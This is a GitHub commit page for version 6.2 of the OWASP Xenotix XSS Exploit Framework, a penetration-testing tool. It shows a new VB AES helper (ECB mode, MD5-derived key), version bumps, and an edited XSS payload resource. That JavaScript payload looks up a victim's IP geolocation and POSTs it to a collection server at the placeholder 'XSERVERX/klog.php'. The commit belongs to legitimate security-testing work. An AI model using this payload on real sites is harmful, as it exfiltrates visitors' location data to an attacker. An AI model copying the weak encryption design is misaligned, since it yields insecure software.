Skip to content

Commit 84615ff

Browse files
committed
v6.2
1 parent b765fc6 commit 84615ff

File tree

63 files changed

+3733
-2202
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

63 files changed

+3733
-2202
lines changed

Helper/AES.vb

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
Public Class AES
2+
Public Function AES_Encrypt(ByVal input As String, ByVal pass As String) As String
3+
Dim AES As New System.Security.Cryptography.RijndaelManaged
4+
Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
5+
Dim encrypted As String = ""
6+
Try
7+
Dim hash(31) As Byte
8+
Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
9+
Array.Copy(temp, 0, hash, 0, 16)
10+
Array.Copy(temp, 0, hash, 15, 16)
11+
AES.Key = hash
12+
AES.Mode = Security.Cryptography.CipherMode.ECB
13+
Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor
14+
Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
15+
encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
16+
Return encrypted
17+
Catch ex As Exception
18+
Return ""
19+
End Try
20+
End Function
21+
22+
Public Function AES_Decrypt(ByVal input As String, ByVal pass As String) As String
23+
Dim AES As New System.Security.Cryptography.RijndaelManaged
24+
Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
25+
Dim decrypted As String = ""
26+
Try
27+
Dim hash(31) As Byte
28+
Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
29+
Array.Copy(temp, 0, hash, 0, 16)
30+
Array.Copy(temp, 0, hash, 15, 16)
31+
AES.Key = hash
32+
AES.Mode = Security.Cryptography.CipherMode.ECB
33+
Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
34+
Dim Buffer As Byte() = Convert.FromBase64String(input)
35+
decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
36+
Return decrypted
37+
Catch ex As Exception
38+
Return ""
39+
End Try
40+
End Function
41+
End Class

My Project/AssemblyInfo.vb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -11,14 +11,14 @@ Imports System.Runtime.InteropServices
1111
<Assembly: AssemblyTitle("OWASP Xenotix XSS Exploit Framework")>
1212
<Assembly: AssemblyDescription("Advanced XSS Detection and Exploitation Framework")>
1313
<Assembly: AssemblyCompany("OpenSecurity")>
14-
<Assembly: AssemblyProduct("OWASP Xenotix XSS Exploit Framework")>
15-
<Assembly: AssemblyCopyright("Copyright © 2014 Ajin Abraham")>
14+
<Assembly: AssemblyProduct("OWASP Xenotix XSS Exploit Framework")>
15+
<Assembly: AssemblyCopyright("Copyright © 2015 Ajin Abraham")>
1616
<Assembly: AssemblyTrademark("Xenotix, OpenSecurity")>
1717

1818
<Assembly: ComVisible(False)>
1919

2020
'The following GUID is for the ID of the typelib if this project is exposed to COM
21-
<Assembly: Guid("4096b092-88de-40ed-a546-6366eda5064b")>
21+
<Assembly: Guid("4096b092-88de-40ed-a546-6366eda5064b")>
2222

2323
' Version information for an assembly consists of the following four values:
2424
'
@@ -31,5 +31,5 @@ Imports System.Runtime.InteropServices
3131
' by using the '*' as shown below:
3232
' <Assembly: AssemblyVersion("1.0.*")>
3333

34-
<Assembly: AssemblyVersion("6.1.0.0")>
35-
<Assembly: AssemblyFileVersion("6.1.0.0")>
34+
<Assembly: AssemblyVersion("6.2.0.0")>
35+
<Assembly: AssemblyFileVersion("6.2.0.0")>

Xenotix Information Gathering/xss_info_ip2geolocation.resx

Lines changed: 7 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -121,26 +121,19 @@
121121
<value>17, 17</value>
122122
</metadata>
123123
<data name="TextBox1.Text" xml:space="preserve">
124-
<value>//Damn Work Around - Ajin Abraham - All right Reserved | Creative Commons license
125-
function getip(json){
126-
var xhr=new XMLHttpRequest();
127-
xhr.open("GET","http://www.telize.com/geoip/"+json.ip,true);
124+
<value>var xhr=new XMLHttpRequest();
125+
xhr.open("GET","http://freegeoip.net/json/",true);
128126
xhr.onreadystatechange = function() {
129127
if (xhr.readyState == 4 &amp;&amp; xhr.status==200 )
130128
{
131-
var xmlhttp=new XMLHttpRequest();
132-
xmlhttp.open('POST', 'http://XSERVERX/klog.php', true);
133-
134-
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
135-
136-
// var x = encodeURIComponent(xhr.responseText);
137-
xmlhttp.send('ipgeo=' + xhr.responseText);
129+
var xmlhttp=new XMLHttpRequest();
130+
xmlhttp.open('POST', 'http://XSERVERX/klog.php', true);
131+
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
132+
xmlhttp.send('ipgeo=' + xhr.responseText);
138133
}
139134
}
140135
xhr.send(null);
141-
}
142-
script = document.createElement('script'); script.src="http://www.telize.com/jsonip?callback=getip";
143-
document.body.appendChild(script);</value>
136+
</value>
144137
</data>
145138
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
146139
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">

Xenotix Information Gathering/xss_info_ip2geolocation.vb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ Public Class xss_info_ip2geolocation
4545
log = item.Value.ToString
4646
End If
4747
Next
48-
loc = loc.Replace("ip ", "IP ").Replace("city", "City").Replace("offset", "Offset").Replace("asn", "Autonomous System Number").Replace("country_code3", "Country Code3").Replace("country_code", "Country Code").Replace("country", "Country Name").Replace("isp", "ISP").Replace("timezone", "Timezone").Replace("dma_code", "DMA Code").Replace("continent_code", "Continent Code").Replace("latitude", "Latitude").Replace("longitude", "Longitude").Replace("region_code", "Region Code").Replace("region", "Region").Replace("area_code", "Area Code").Replace("postal_code", "ZIP")
48+
4949
loc += "<br><img src='http://maps.googleapis.com/maps/api/staticmap?center=" + lat + "," + log + "&amp;zoom=14&amp;size=600x400&amp;sensor=false'>"
5050

5151
WebBrowser1.ScriptErrorsSuppressed = True

Xenotix Information Gathering/xss_info_ip2location.Designer.vb

Lines changed: 1 addition & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Xenotix Information Gathering/xss_info_sites_visited.Designer.vb

Lines changed: 102 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)